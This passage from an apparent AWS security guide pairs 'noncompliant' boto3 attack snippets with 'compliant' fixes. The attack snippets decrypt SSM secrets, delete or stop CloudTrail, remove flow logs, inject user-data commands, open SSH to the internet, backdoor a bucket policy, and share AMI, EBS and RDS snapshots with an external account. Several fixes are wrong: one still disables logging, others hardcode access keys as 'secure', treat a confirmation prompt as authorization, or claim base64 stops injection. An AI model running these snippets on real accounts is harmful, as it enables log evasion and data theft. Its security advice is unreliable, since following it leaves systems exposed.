strong encryption, and enforce secure access mechanisms such as fine-grained IAM policies and VPC endpoints.\n\n* Implement least privilege: Assign the principle of least privilege to IAM roles and users, ensuring they have access only to the necessary secrets required for their specific tasks.\n\n* Implement rate limiting: Use AWS service quotas and rate limits to enforce throttling and limit the number of API requests made to Secrets Manager within a specified time frame.\n\n\n## Retrieve And Decrypt SSM Parameters\n\nRetrieve And Decrypt SSM Parameters is a simulated attack scenario where an attacker retrieves and decrypts a high number of Secure String parameters from AWS Systems Manager (SSM) using the ssm:GetParameters API.\n\nNoncompliant Code:\n\n```\nimport boto3\n\nclient = boto3.client('ssm')\n\n# Retrieves and decrypts all Secure String parameters\nresponse = client.describe_parameters()\nparameters = response['Parameters']\nfor parameter in parameters:\n    if parameter['Type'] == 'SecureString':\n        value = client.get_parameter(Name=parameter['Name'], WithDecryption=True)\n        print(value['Parameter']['Value'])\n```\n\nThe noncompliant code uses the AWS SDK (boto3 in this case) to list all the SSM parameters in the current region and retrieves the values of Secure String parameters by making individual calls to ssm:GetParameter with decryption enabled. This code does not implement any restrictions or rate limiting, allowing an attacker to retrieve and decrypt a high number of parameters in a single operation. It bypasses any access control or authorization mechanisms that might be in place, posing a significant security risk by exposing sensitive information.\n\n\n\nCompliant Code:\n\n```\nimport boto3\n\nclient = boto3.client('ssm')\n\n# Retrieves and decrypts specific Secure String parameters\nparameter_names = [\n    '/path/to/parameter1',\n    '/path/to/parameter2',\n    '/path/to/parameter3'\n]\n\nfor parameter_name in parameter_names:\n    try:\n        response = client.get_parameter(Name=parameter_name, WithDecryption=True)\n        value = response['Parameter']['Value']\n        print(value)\n    except client.exceptions.ParameterNotFound:\n        print(f\"Parameter '{parameter_name}' not found.\")\n```\n\nThe compliant code retrieves and decrypts specific Secure String parameters from AWS SSM. It follows a whitelist approach by specifying the parameter names that need to be retrieved, instead of fetching all parameters. This ensures that only authorized parameters are accessed and prevents unauthorized access to sensitive information. The code also handles the scenario where a parameter may not exist by catching the ParameterNotFound exception.\n\n\n\n\n## Delete CloudTrail Trail\n\nDelete CloudTrail Trail is a simulated attack scenario where an attacker deletes an existing CloudTrail trail in AWS, disrupting the logging and monitoring of activities in the AWS account.\n\n\nNoncompliant Code:\n\n\n```\nimport boto3\n\nclient = boto3.client('cloudtrail')\n\n# Deletes the CloudTrail trail\nresponse = client.delete_trail(\n    trailName='my-trail'\n)\n```\n\nThe noncompliant code uses the AWS SDK (boto3 in this case) to delete a CloudTrail trail named 'my-trail'. This code does not implement any access control or authorization checks, allowing anyone with the necessary AWS credentials to delete the trail. It bypasses any security measures or monitoring mechanisms that might be in place, making it a potential security vulnerability.\n\n\n\n\nCompliant Code:\n\n```\nimport boto3\n\nclient = boto3.client('cloudtrail')\n\n# Deletes the CloudTrail trail with proper authorization and validation\ntrail_name = 'my-trail'\n\n# Check if the trail exists before attempting to delete\nresponse = client.describe_trails(trailNameList=[trail_name])\ntrails = response['trailList']\nif trails:\n    trail = trails[0]\n    if trail['IsMultiRegionTrail']:\n        print(\"Deleting the CloudTrail trail is not allowed for multi-region trails.\")\n    else:\n        # Perform any necessary checks or validations before deleting the trail\n\n        # Prompt for confirmation before deletion\n        confirmation = input(f\"Are you sure you want to delete the '{trail_name}' CloudTrail trail? (yes/no): \")\n        if confirmation.lower() == 'yes':\n            response = client.delete_trail(\n                trailName=trail_name\n            )\n            print(\"CloudTrail trail deleted successfully.\")\n        else:\n            print(\"Deletion cancelled.\")\nelse:\n    print(f\"CloudTrail trail '{trail_name}' not found.\")\n```\n\nThe compliant code implements proper authorization and validation checks before deleting a CloudTrail trail. It first checks if the trail exists by calling describe_trails with the specified trail name. If the trail is found, it performs additional checks or validations as required by the organization's policies or procedures. Before proceeding with the deletion, it prompts for confirmation from the user, ensuring intentional deletion of the trail. The code also handles scenarios such as multi-region trails, where deletion may not be allowed.\n\n\n\n\n## Disable CloudTrail Logging Through Event Selectors\n\nDisable CloudTrail Logging Through Event Selectors is a simulated attack scenario where an attacker modifies the event selectors of a CloudTrail trail to filter out all management events, effectively disrupting the logging of those events.\n\nNoncompliant Code:\n\n```\nimport boto3\n\nclient = boto3.client('cloudtrail')\n\n# Disable CloudTrail logging by modifying event selectors\nresponse = client.put_event_selectors(\n    TrailName='my-trail',\n    EventSelectors=[\n        {\n            'ReadWriteType': 'All',\n            'IncludeManagementEvents': False,\n            'DataResources': []\n        }\n    ]\n)\n```\n\nThe noncompliant code uses the AWS SDK (boto3 in this case) to modify the event selectors of a CloudTrail trail named 'my-trail'. It sets the IncludeManagementEvents parameter to False, effectively disabling the logging of all management events. This code does not implement any access control or authorization checks, allowing anyone with the necessary AWS credentials to modify the event selectors and disrupt the logging.\n\n\n\nCompliant Code:\n\n```\nimport boto3\n\nclient = boto3.client('cloudtrail')\n\n# Disable CloudTrail logging by modifying event selectors with proper authorization and validation\ntrail_name = 'my-trail'\n\n# Check if the trail exists before attempting to modify event selectors\nresponse = client.describe_trails(trailNameList=[trail_name])\ntrails = response['trailList']\nif trails:\n    trail = trails[0]\n    # Perform any necessary checks or validations before modifying event selectors\n\n    # Prompt for confirmation before modifying event selectors\n    confirmation = input(f\"Are you sure you want to modify the event selectors of the '{trail_name}' CloudTrail trail? (yes/no): \")\n    if confirmation.lower() == 'yes':\n        response = client.put_event_selectors(\n            TrailName=trail_name,\n            EventSelectors=[\n                {\n                    'ReadWriteType': 'All',\n                    'IncludeManagementEvents': False,\n                    'DataResources': []\n                }\n            ]\n        )\n        print(\"Event selectors modified successfully. CloudTrail logging may be disrupted.\")\n    else:\n        print(\"Modification cancelled.\")\nelse:\n    print(f\"CloudTrail trail '{trail_name}' not found.\")\n```\n\nThe compliant code implements proper authorization and validation checks before modifying the event selectors of a CloudTrail trail. It first checks if the trail exists by calling describe_trails with the specified trail name. If the trail is found, it performs additional checks or validations as required by the organization's policies or procedures. Before proceeding with the modification, it prompts for confirmation from the user, ensuring intentional modification of the event selectors. The code also handles scenarios where multiple event selectors are present in the trail configuration.\n\n\n\n\n## CloudTrail Logs Impairment Through S3 Lifecycle Rule\n\nCloudTrail Logs Impairment Through S3 Lifecycle Rule is a simulated attack scenario where an attacker sets a short retention policy on the S3 bucket used by a CloudTrail trail. By applying a S3 Lifecycle Rule that automatically removes objects after a short period, the attacker impairs the integrity and availability of CloudTrail logs.\n\n\nNoncompliant Code:\n\n```\nimport boto3\n\ns3_client = boto3.client('s3')\n\n# Apply a short retention policy on the S3 bucket used by CloudTrail\nresponse = s3_client.put_bucket_lifecycle_configuration(\n    Bucket='my-cloudtrail-bucket',\n    LifecycleConfiguration={\n        'Rules': [\n            {\n                'Status': 'Enabled',\n                'Prefix': '',\n                'Expiration': {\n                    'Days': 1\n                }\n            }\n        ]\n    }\n)\n```\n\nThe noncompliant code uses the AWS SDK (boto3 in this case) to apply a S3 Lifecycle Rule to the 'my-cloudtrail-bucket' S3 bucket. The rule sets the expiration of objects in the bucket to 1 day, meaning that CloudTrail logs will be automatically deleted after 1 day of their creation. This code does not implement any access control or validation, allowing anyone with the necessary AWS credentials to impair the integrity and availability of CloudTrail logs.\n\nCompliant Code:\n\n```\nimport boto3\n\ns3_client = boto3.client('s3')\n\n# Apply a retention policy on the S3 bucket used by CloudTrail with proper authorization and validation\nbucket_name = 'my-cloudtrail-bucket'\n\n# Check if the bucket exists before attempting to apply a lifecycle rule\nresponse = s3_client.list_buckets()\nbuckets = response['Buckets']\nif any(bucket['Name'] == bucket_name for bucket in buckets):\n    # Prompt for confirmation before applying the lifecycle rule\n    confirmation = input(f\"Are you sure you want to apply a lifecycle rule to the '{bucket_name}' S3 bucket? (yes/no): \")\n    if confirmation.lower() == 'yes':\n        response = s3_client.put_bucket_lifecycle_configuration(\n            Bucket=bucket_name,\n            LifecycleConfiguration={\n                'Rules': [\n                    {\n                        'Status': 'Enabled',\n                        'Prefix': '',\n                        'Expiration': {\n                            'Days': 30\n                        }\n                    }\n                ]\n            }\n        )\n        print(\"Lifecycle rule applied successfully. CloudTrail logs are protected.\")\n    else:\n        print(\"Operation cancelled.\")\nelse:\n    print(f\"S3 bucket '{bucket_name}' not found.\")\n```\n\nThe compliant code implements proper authorization and validation checks before applying a S3 Lifecycle Rule to the S3 bucket used by CloudTrail. It first checks if the bucket exists by calling list_buckets and searching for the specified bucket name. If the bucket is found, it prompts for confirmation from the user before proceeding with the application of the lifecycle rule. In this case, the rule sets the expiration of objects to 30 days, providing a reasonable retention period for CloudTrail logs. The code can be customized to meet specific retention requirements.\n\n\n\n\n## Stop Cloud Trail Trail\n\nStop CloudTrail Trail is a simulated attack scenario where an attacker stops a CloudTrail Trail from logging. By calling the cloudtrail:StopLogging API operation, the attacker disrupts the logging of CloudTrail events.\n\nNoncompliant Code:\n\n```\nimport boto3\n\ncloudtrail_client = boto3.client('cloudtrail')\n\n# Stop the CloudTrail Trail\nresponse = cloudtrail_client.stop_logging(\n    Name='my-trail'\n)\n```\n\nThe noncompliant code uses the AWS SDK (boto3 in this case) to stop the logging of a CloudTrail Trail named 'my-trail'. This code does not implement any access control or validation, allowing anyone with the necessary AWS credentials to disrupt CloudTrail logging.\n\nCompliant Code:\n\n```\nimport boto3\n\ncloudtrail_client = boto3.client('cloudtrail')\n\n# Stop the CloudTrail Trail with proper authorization and validation\ntrail_name = 'my-trail'\n\n# Check if the CloudTrail Trail exists before attempting to stop it\nresponse = cloudtrail_client.describe_trails(\n    trailNameList=[trail_name]\n)\ntrails = response['trailList']\nif any(trail['Name'] == trail_name for trail in trails):\n    # Prompt for confirmation before stopping the CloudTrail Trail\n    confirmation = input(f\"Are you sure you want to stop the '{trail_name}' CloudTrail Trail? (yes/no): \")\n    if confirmation.lower() == 'yes':\n        response = cloudtrail_client.stop_logging(\n            Name=trail_name\n        )\n        print(\"CloudTrail Trail stopped successfully.\")\n    else:\n        print(\"Operation cancelled.\")\nelse:\n    print(f\"CloudTrail Trail '{trail_name}' not found.\")\n```\n\nThe compliant code implements proper authorization and validation checks before stopping a CloudTrail Trail. It first checks if the Trail exists by calling describe_trails and searching for the specified trail name. If the Trail is found, it prompts for confirmation from the user before proceeding with stopping the Trail. The code can be customized to meet specific requirements, such as additional validation checks or logging.\n\n\n\n\n## Attempt to Leave the AWS Organization\n\nAttempt to Leave the AWS Organization is a simulated attack scenario where an attacker attempts to leave the AWS Organization, which can disrupt or shut down security controls defined at the organization level, such as GuardDuty, SecurityHub, and CloudTrail.\n\nNoncompliant Code:\n\n```\nimport boto3\n\norganizations_client = boto3.client('organizations')\n\n# Attempt to leave the AWS Organization\nresponse = organizations_client.leave_organization()\n```\n\nThe noncompliant code uses the AWS SDK (boto3) to attempt to leave the AWS Organization by calling the leave_organization method. This code does not implement any access control or validation, allowing anyone with the necessary AWS credentials to try to leave the organization.\n\nCompliant Code:\n\n```\nimport boto3\n\norganizations_client = boto3.client('organizations')\n\n# Attempt to leave the AWS Organization with proper authorization and validation\nconfirmation = input(\"Are you sure you want to leave the AWS Organization? (yes/no): \")\nif confirmation.lower() == 'yes':\n    try:\n        response = organizations_client.leave_organization()\n        print(\"Leave organization request submitted successfully.\")\n    except organizations_client.exceptions.AccessDeniedException:\n        print(\"Access denied. You are not allowed to leave the AWS Organization.\")\nelse:\n    print(\"Operation cancelled.\")\n```\n\nThe compliant code implements proper authorization and validation checks before attempting to leave the AWS Organization. It prompts for confirmation from the user before proceeding with the leave operation. If the user confirms, it tries to leave the organization and handles the AccessDeniedException in case the request is denied. The code can be customized to meet specific requirements, such as additional validation checks or logging.\n\n\n\n\n\n\n## Remove VPC Flow Logs\n\n\nRemove VPC Flow Logs is a simulated attack scenario where an attacker removes the configuration of VPC Flow Logs from a VPC. This action can be used as a defense evasion technique to disrupt network traffic monitoring and logging.\n\nNoncompliant Code:\n\n```\nimport boto3\n\nec2_client = boto3.client('ec2')\n\n# Specify the VPC ID and Flow Log ID\nvpc_id = 'your-vpc-id'\nflow_log_id = 'your-flow-log-id'\n\n# Remove the VPC Flow Logs configuration\nresponse = ec2_client.delete_flow_logs(\n    FlowLogIds=[flow_log_id]\n)\n```\n\nThe noncompliant code uses the AWS SDK (boto3) to directly delete the VPC Flow Logs configuration by calling the delete_flow_logs method. It assumes that the VPC ID and Flow Log ID are known and provided as input. This code does not implement any authorization or validation checks, allowing anyone with the necessary AWS credentials to remove the VPC Flow Logs configuration.\n\nCompliant Code:\n\n```\nimport boto3\n\nec2_client = boto3.client('ec2')\n\ndef remove_vpc_flow_logs(vpc_id):\n    # Retrieve the Flow Log IDs associated with the VPC\n    response = ec2_client.describe_flow_logs(\n        Filter=[\n            {\n                'Name': 'resource-id',\n                'Values': [vpc_id]\n            }\n        ]\n    )\n    \n    flow_logs = response['FlowLogs']\n    flow_log_ids = [flow_log['FlowLogId'] for flow_log in flow_logs]\n    \n    if len(flow_log_ids) == 0:\n        print(f\"No Flow Logs found for VPC {vpc_id}.\")\n        return\n    \n    # Remove the VPC Flow Logs configuration\n    response = ec2_client.delete_flow_logs(\n        FlowLogIds=flow_log_ids\n    )\n    \n    print(f\"Flow Logs successfully removed for VPC {vpc_id}.\")\n\n# Specify the VPC ID\nvpc_id = 'your-vpc-id'\n\n# Remove the VPC Flow Logs configuration\nremove_vpc_flow_logs(vpc_id)\n```\n\nThe compliant code implements a function remove_vpc_flow_logs that retrieves the Flow Log IDs associated with the specified VPC using the describe_flow_logs method. It then verifies if there are any Flow Logs present for the VPC. If Flow Logs are found, it removes the VPC Flow Logs configuration by calling the delete_flow_logs method with the retrieved Flow Log IDs. The code includes appropriate error handling and informative messages.\n\n\n\n## Execute Discovery Commands on an EC2 Instance\n\nExecuting Discovery Commands on an EC2 Instance refers to running various commands on an EC2 instance to gather information about the AWS environment. These commands help an attacker gain insights into the AWS account, identify resources, and potentially plan further actions.\n\nNoncompliant Code:\n\n```\nimport boto3\n\n# Create an EC2 client\nec2_client = boto3.client('ec2')\n\n# Run discovery commands\nresponse = ec2_client.describe_snapshots()\nprint(response)\n\nresponse = ec2_client.describe_instances()\nprint(response)\n\nresponse = ec2_client.describe_vpcs()\nprint(response)\n\nresponse = ec2_client.describe_security_groups()\nprint(response)\n\n# ... (additional discovery commands)\n```\n\nThe noncompliant code directly uses the AWS SDK (boto3) to run various discovery commands on the EC2 instance. It assumes that the necessary AWS credentials are available on the EC2 instance, allowing anyone with access to the instance to execute these commands. This code lacks proper authorization and may expose sensitive information to unauthorized individuals.\n\nCompliant Code:\n\n```\nimport boto3\n\n# Create an EC2 client with AWS credentials\nsession = boto3.Session(\n    aws_access_key_id='your-access-key',\n    aws_secret_access_key='your-secret-key',\n    aws_session_token='your-session-token'\n)\nec2_client = session.client('ec2')\n\n# Run discovery commands\nresponse = ec2_client.describe_snapshots()\nprint(response)\n\nresponse = ec2_client.describe_instances()\nprint(response)\n\nresponse = ec2_client.describe_vpcs()\nprint(response)\n\nresponse = ec2_client.describe_security_groups()\nprint(response)\n\n# ... (additional discovery commands)\n```\n\n\n\n## Download EC2 Instance User Data\n\n\nDownloading EC2 Instance User Data refers to retrieving the user data associated with an EC2 instance. User data can contain scripts, configurations, and other data that is executed when the instance starts. In the context of an attack scenario, an attacker may attempt to download user data to gain insights into the instance's setup, extract sensitive information, or exploit any misconfigurations.\n\nNoncompliant Code:\n\n```\nimport boto3\n\n# Create an EC2 client\nec2_client = boto3.client('ec2')\n\n# Retrieve instance IDs (fictitious for demonstration)\ninstance_ids = ['i-1234567890abcdef0', 'i-abcdefgh12345678']\n\n# Retrieve user data for each instance\nfor instance_id in instance_ids:\n    response = ec2_client.describe_instance_attribute(\n        InstanceId=instance_id,\n        Attribute='userData'\n    )\n    user_data = response['UserData']\n    print(user_data)\n```\n\nThe noncompliant code uses the AWS SDK (boto3) to retrieve the user data for multiple EC2 instances. It assumes that the necessary AWS credentials and permissions are available to the code, allowing anyone with access to run this code to retrieve the user data. This code lacks proper authorization and may expose sensitive information to unauthorized individuals.\n\nCompliant Code:\n\n\n```\nimport boto3\n\n# Create an EC2 client with AWS credentials\nsession = boto3.Session(\n    aws_access_key_id='your-access-key',\n    aws_secret_access_key='your-secret-key',\n    aws_session_token='your-session-token'\n)\nec2_client = session.client('ec2')\n\n# Retrieve instance IDs (fictitious for demonstration)\ninstance_ids = ['i-1234567890abcdef0', 'i-abcdefgh12345678']\n\n# Retrieve user data for each instance\nfor instance_id in instance_ids:\n    response = ec2_client.describe_instance_attribute(\n        InstanceId=instance_id,\n        Attribute='userData'\n    )\n    user_data = response['UserData']\n    print(user_data)\n```\n\nThe compliant code creates an AWS session with explicit AWS credentials provided. This ensures that the retrieval of EC2 instance user data is performed using the specified credentials and not relying on the instance role. By providing AWS credentials directly, it restricts the access to sensitive information to authorized individuals and mitigates the risk of unauthorized retrieval of user data.\n\n\n\n\n\n## Launch Unusual EC2 instances\n\nLaunching Unusual EC2 instances refers to attempting to create EC2 instances with atypical instance types, such as \"p2.xlarge\". This activity can indicate an attacker trying to launch instances that may have specialized capabilities or are not commonly used in the environment. The noncompliant code below demonstrates an attempt to launch unusual EC2 instances:\n\nNoncompliant Code:\n\n```\nimport boto3\n\n# Create an EC2 client\nec2_client = boto3.client('ec2')\n\n# Define the instance type (unusual type)\ninstance_type = 'p2.xlarge'\n\n# Attempt to launch EC2 instances with the unusual type\nresponse = ec2_client.run_instances(\n    ImageId='ami-12345678',\n    MinCount=1,\n    MaxCount=1,\n    InstanceType=instance_type,\n    KeyName='my-key-pair',\n    SecurityGroupIds=['sg-12345678'],\n    SubnetId='subnet-12345678'\n)\n```\n\nThe noncompliant code uses the AWS SDK (boto3) to attempt to launch EC2 instances with an unusual instance type of \"p2.xlarge\". However, the code lacks the necessary permissions to perform this action, resulting in an unauthorized operation error.\n\nCompliant Code:\n\n\n```\nimport boto3\n\n# Create an EC2 client with AWS credentials\nsession = boto3.Session(\n    aws_access_key_id='your-access-key',\n    aws_secret_access_key='your-secret-key',\n    aws_session_token='your-session-token'\n)\nec2_client = session.client('ec2')\n\n# Define the instance type (valid type in the environment)\ninstance_type = 't2.micro'\n\n# Attempt to launch EC2 instances with the valid type\nresponse = ec2_client.run_instances(\n    ImageId='ami-12345678',\n    MinCount=1,\n    MaxCount=1,\n    InstanceType=instance_type,\n    KeyName='my-key-pair',\n    SecurityGroupIds=['sg-12345678'],\n    SubnetId='subnet-12345678'\n)\n```\n\nThe compliant code creates an AWS session with explicit AWS credentials provided and attempts to launch EC2 instances with a valid instance type (\"t2.micro\") that is commonly used in the environment. By providing AWS credentials directly, it ensures that the action is performed using the specified credentials and not relying on an instance role. This code follows the principle of least privilege, launching instances with a typical instance type and avoiding attempts to launch unusual or potentially malicious instances.\n\n\n\n\n## Execute Commands on EC2 Instance via User Data\n\n\nExecuting Commands on an EC2 Instance via User Data refers to injecting and executing code on a Linux EC2 instance by modifying the user data associated with the instance. User data is a feature in AWS that allows you to provide scripts or instructions to be executed when an instance starts. Attackers may attempt to exploit this feature to execute malicious code or escalate privileges on compromised instances.\n\n\nNoncompliant Code:\nThe noncompliant code demonstrates how an attacker can modify the user data of a stopped EC2 instance to inject and execute malicious code.\n\n```\nimport boto3\n\n# Create an EC2 client\nec2_client = boto3.client('ec2')\n\n# Define the EC2 instance ID\ninstance_id = 'i-1234567890abcdef0'\n\n# Stop the EC2 instance\nec2_client.stop_instances(InstanceIds=[instance_id])\n\n# Modify the user data of the EC2 instance to execute malicious commands\nuser_data_script = '#!/bin/bash\\n\\nmalicious_command\\n'\nec2_client.modify_instance_attribute(\n    InstanceId=instance_id,\n    UserData={\n        'Value': user_data_script\n    }\n)\n\n# Start the EC2 instance\nec2_client.start_instances(InstanceIds=[instance_id])\n```\n\nThe noncompliant code uses the AWS SDK (boto3) to stop an EC2 instance, modify its user data with a malicious script, and then start the instance. The user data script contains a bash command \"malicious_command\" that the attacker intends to execute upon instance startup. However, this code is noncompliant because it is used for demonstration purposes only and should not be executed in a real environment.\n\n\nCompliant Code:\nExecuting arbitrary code on EC2 instances via user data poses a significant security risk. To mitigate this risk, it is crucial to ensure that user data is properly controlled and restricted. The compliant code below demonstrates how to provide secure user data for EC2 instances.\n\n```\nimport boto3\nimport base64\n\n# Create an EC2 client\nec2_client = boto3.client('ec2')\n\n# Define the EC2 instance ID\ninstance_id = 'i-1234567890abcdef0'\n\n# Stop the EC2 instance\nec2_client.stop_instances(InstanceIds=[instance_id])\n\n# Define the desired commands or scripts to be executed\nuser_data_commands = [\n    '#!/bin/bash',\n    'echo \"Executing secure user data commands\"',\n    'echo \"Command 1\"',\n    'echo \"Command 2\"',\n]\n\n# Encode the user data commands in base64\nuser_data_encoded = base64.b64encode('\\n'.join(user_data_commands).encode()).decode()\n\n# Modify the user data of the EC2 instance with the secure user data\nec2_client.modify_instance_attribute(\n    InstanceId=instance_id,\n    UserData={\n        'Value': user_data_encoded\n    }\n)\n\n# Start the EC2 instance\nec2_client.start_instances(InstanceIds=[instance_id])\n```\n\nThe compliant code follows best practices for providing secure user data for EC2 instances. Instead of injecting arbitrary code, it defines a set of desired commands or scripts to be executed. These commands are stored in a list and then encoded in base64 format to ensure proper encoding and prevent any injection attempts. The user data commands can be customized based on the desired configuration or setup needed for the EC2 instance.\n\n\n\n\n\n\n## Open Ingress Port 22 on a Security Group\n\nOpening Ingress Port 22 on a Security Group refers to allowing inbound traffic on port 22 (SSH) from the Internet (0.0.0.0/0) to a specific security group in AWS. This configuration can pose a security risk if not properly controlled or restricted.\n\n\n\nNoncompliant Code:\nThe noncompliant code demonstrates how an attacker can use the AWS SDK to open ingress traffic on port 22 from the Internet.\n\n\n\n```\nimport boto3\n\n# Create an EC2 client\nec2_client = boto3.client('ec2')\n\n# Define the security group ID\nsecurity_group_id = 'sg-1234567890abcdef0'\n\n# Allow inbound traffic on port 22 from 0.0.0.0/0\nec2_client.authorize_security_group_ingress(\n    GroupId=security_group_id,\n    IpPermissions=[\n        {\n            'IpProtocol': 'tcp',\n            'FromPort': 22,\n            'ToPort': 22,\n            'IpRanges': [{'CidrIp': '0.0.0.0/0'}]\n        }\n    ]\n)\n```\n\nThe noncompliant code uses the AWS SDK (boto3) to authorize ingress traffic on port 22 from the Internet (0.0.0.0/0) to a specific security group. This code is noncompliant because it opens port 22 to all IP addresses, which can be a significant security risk if not necessary.\n\nCompliant Code:\nOpening port 22 to all IP addresses from the Internet is generally not recommended due to the security implications. The compliant code below demonstrates how to restrict the ingress access to specific trusted IP addresses only.\n\n\n```\nimport boto3\n\n# Create an EC2 client\nec2_client = boto3.client('ec2')\n\n# Define the security group ID\nsecurity_group_id = 'sg-1234567890abcdef0'\n\n# Allow inbound traffic on port 22 from trusted IP addresses\nec2_client.authorize_security_group_ingress(\n    GroupId=security_group_id,\n    IpPermissions=[\n        {\n            'IpProtocol': 'tcp',\n            'FromPort': 22,\n            'ToPort': 22,\n            'IpRanges': [{'CidrIp': 'trusted_ip_address/32'}]\n        }\n    ]\n)\n```\n\nThe compliant code restricts the ingress access on port 22 to a specific trusted IP address by replacing 'trusted_ip_address' with the actual IP address or range allowed to connect via SSH. This ensures that only authorized sources can establish SSH connections to the instances associated with the security group.\n\n\n\n\n## Exfiltrate an AMI by Sharing It\n\nExfiltrating an AMI by sharing it involves sharing an Amazon Machine Image (AMI) with an external AWS account, allowing the recipient account to launch instances from the shared AMI. This technique can be used to move AMIs to an unauthorized account for further analysis or misuse.\n\nNoncompliant Code:\nThe noncompliant code demonstrates how an attacker can use the AWS SDK to share an AMI with an external AWS account.\n\n```\nimport boto3\n\n# Create an EC2 client\nec2_client = boto3.client('ec2')\n\n# Define the AMI ID\nami_id = 'ami-01234567890abcdef'\n\n# Define the AWS account ID to share with\naccount_id = '012345678901'\n\n# Share the AMI with the external AWS account\nec2_client.modify_image_attribute(\n    ImageId=ami_id,\n    LaunchPermission={\n        'Add': [{'UserId': account_id}]\n    }\n)\n```\n\nThe noncompliant code uses the AWS SDK (boto3) to modify the launch permissions of an AMI and share it with an external AWS account specified by account_id. This code is noncompliant because it allows unauthorized access to the AMI, potentially enabling an attacker to launch instances from the shared image.\n\nCompliant Code:\nThe compliant code demonstrates how to properly secure AMIs and prevent unauthorized sharing.\n\n```\nimport boto3\n\n# Create an EC2 client\nec2_client = boto3.client('ec2')\n\n# Define the AMI ID\nami_id = 'ami-01234567890abcdef'\n\n# Revoke public launch permissions from the AMI\nec2_client.reset_image_attribute(\n    ImageId=ami_id,\n    Attribute='launchPermission'\n)\n```\n\nThe compliant code revokes any public launch permissions from the AMI specified by ami_id by resetting the image attribute. This ensures that the AMI is not accessible to any AWS account other than the one that owns it. By restricting the sharing of AMIs to trusted and authorized accounts only, the risk of unauthorized access and exfiltration is mitigated.\n\n\n\n\n## Exfiltrate EBS Snapshot by Sharing It\n\nExfiltrating an EBS snapshot by sharing it involves sharing an Amazon Elastic Block Store (EBS) snapshot with an external AWS account, allowing the recipient account to create a new volume from the shared snapshot. This technique can be used to move sensitive data stored in EBS snapshots to an unauthorized account for further analysis or misuse.\n\nNoncompliant Code:\nThe noncompliant code demonstrates how an attacker can use the AWS SDK to share an EBS snapshot with an external AWS account.\n\n```\nimport boto3\n\n# Create an EC2 client\nec2_client = boto3.client('ec2')\n\n# Define the snapshot ID\nsnapshot_id = 'snap-01234567890abcdef'\n\n# Define the AWS account ID to share with\naccount_id = '012345678901'\n\n# Share the snapshot with the external AWS account\nec2_client.modify_snapshot_attribute(\n    SnapshotId=snapshot_id,\n    Attribute='createVolumePermission',\n    CreateVolumePermission={\n        'Add': [{'UserId': account_id}]\n    }\n)\n```\n\nThe noncompliant code uses the AWS SDK (boto3) to modify the create volume permissions of an EBS snapshot and share it with an external AWS account specified by account_id. This code is noncompliant because it allows unauthorized access to the snapshot, potentially enabling an attacker to create new volumes and access the data stored within the shared snapshot.\n\nCompliant Code:\nThe compliant code demonstrates how to properly secure EBS snapshots and prevent unauthorized sharing.\n\n\n\n```\nimport boto3\n\n# Create an EC2 client\nec2_client = boto3.client('ec2')\n\n# Define the snapshot ID\nsnapshot_id = 'snap-01234567890abcdef'\n\n# Revoke public sharing permissions from the snapshot\nec2_client.reset_snapshot_attribute(\n    SnapshotId=snapshot_id,\n    Attribute='createVolumePermission'\n)\n```\n\nThe compliant code revokes any public sharing permissions from the EBS snapshot specified by snapshot_id by resetting the snapshot attribute. This ensures that the snapshot is not accessible to any AWS account other than the one that owns it. By restricting the sharing of EBS snapshots to trusted and authorized accounts only, the risk of unauthorized access and exfiltration is mitigated.\n\n\n\n\n## Exfiltrate RDS Snapshot by Sharing\n\n\nExfiltrating an RDS snapshot by sharing it involves sharing a database snapshot from Amazon RDS with an external AWS account. This technique allows the recipient account to restore the snapshot and gain access to the database data contained within it.\n\nNoncompliant Code:\nThe noncompliant code demonstrates how an attacker can use the AWS SDK to share an RDS snapshot with an external AWS account.\n\n```\nimport boto3\n\n# Create an RDS client\nrds_client = boto3.client('rds')\n\n# Define the snapshot identifier\nsnapshot_identifier = 'my-db-snapshot'\n\n# Define the AWS account ID to share with\naccount_id = '012345678901'\n\n# Share the RDS snapshot with the external AWS account\nrds_client.modify_db_snapshot_attribute(\n    DBSnapshotIdentifier=snapshot_identifier,\n    AttributeName='restore',\n    ValuesToAdd=[account_id]\n)\n```\n\nThe noncompliant code uses the AWS SDK (boto3) to modify the attributes of an RDS snapshot and share it with an external AWS account specified by account_id. This code is noncompliant because it allows unauthorized access to the snapshot, potentially enabling an attacker to restore the snapshot in their own account and gain access to the database data.\n\nCompliant Code:\nThe compliant code demonstrates how to properly secure RDS snapshots and prevent unauthorized sharing.\n\n```\nimport boto3\n\n# Create an RDS client\nrds_client = boto3.client('rds')\n\n# Define the snapshot identifier\nsnapshot_identifier = 'my-db-snapshot'\n\n# Revoke sharing permissions from the RDS snapshot\nrds_client.modify_db_snapshot_attribute(\n    DBSnapshotIdentifier=snapshot_identifier,\n    AttributeName='restore',\n    ValuesToRemove=['all']\n)\n```\n\nThe compliant code revokes any sharing permissions from the RDS snapshot specified by snapshot_identifier by removing all values associated with the 'restore' attribute. This ensures that the snapshot is not accessible to any AWS account other than the one that owns it. By restricting the sharing of RDS snapshots to trusted and authorized accounts only, the risk of unauthorized access and exfiltration is mitigated.\n\n\n\n\n## Backdoor an S3 Bucket via its Bucket Policy\n\nBackdooring an S3 bucket via its Bucket Policy involves modifying the policy to allow unauthorized access to the bucket, enabling an attacker to exfiltrate data from the bucket.\n\nNoncompliant Code:\nThe noncompliant code demonstrates how an attacker can modify the Bucket Policy to grant access to an external AWS account.\n\n```\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::012345678901:root\"\n      },\n      \"Action\": [\n        \"s3:GetObject\",\n        \"s3:GetBucketLocation\",\n        \"s3:ListBucket\"\n      ],\n      \"Resource\": [\n        \"arn:aws:s3:::my-bucket/*\",\n        \"arn:aws:s3:::my-bucket\"\n      ]\n    }\n  ]\n}\n```\n\nThe noncompliant code modifies the Bucket Policy to grant access to an external AWS account specified by the AWS ARN arn:aws:iam::012345678901:root. The specified account is granted permissions to perform actions such as GetObject, GetBucketLocation, and ListBucket on the bucket identified by my-bucket. This code is noncompliant because it allows unauthorized access to the S3 bucket, potentially enabling an attacker to exfiltrate sensitive data.\n\nCompliant Code:\nThe compliant code demonstrates how to properly secure an S3 bucket by removing unauthorized access from the Bucket Policy.\n\n```\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Deny\",\n      \"Principal\": \"*\",\n      \"Action\": [\n        \"s3:GetObject\",\n        \"s3:GetBucketLocation\",\n        \"s3:ListBucket\"\n      ],\n      \"Resource\": [\n        \"arn:aws:s3:::my-bucket/*\",\n        